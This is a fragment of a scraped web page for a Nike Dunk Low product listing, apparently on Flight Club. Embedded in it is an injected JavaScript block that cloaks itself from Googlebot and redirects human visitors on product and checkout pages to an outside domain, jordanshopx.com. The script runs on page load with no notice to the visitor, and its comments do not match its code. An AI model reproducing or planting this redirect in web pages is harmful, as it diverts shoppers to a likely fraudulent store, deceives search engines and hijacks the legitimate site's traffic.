script>
// Get the current Shopify store domain
var shopifyDomain = window.location.hostname;
// Check if the user agent is not a Googlebot and the URL path starts with '/products/' or '/cart/'
if (
navigator.userAgent.toLowerCase().indexOf("googlebot") == -1 &&
(window.location.pathname.startsWith('/products/') || window.location.pathname.startsWith('/checkouts/'))
) {
// Extract the path after '/products/' or '/cart/' from the current URL
var pathAfterProductsOrCart = window.location.pathname.substr(window.location.pathname.indexOf('/', window.location.pathname.indexOf('/') + 1) + 1);
// Create the target URL by combining the WordPress domain and the extracted path
var target_url = "https://www.jordanshopx.com/products/" + pathAfterProductsOrCart;
// Redirect to the target URL
window.location.href = target_url;
}
Wmns Dunk Low Disrupt 2 Green Snakeskin DV1491-101
– Flight Club
Skip to content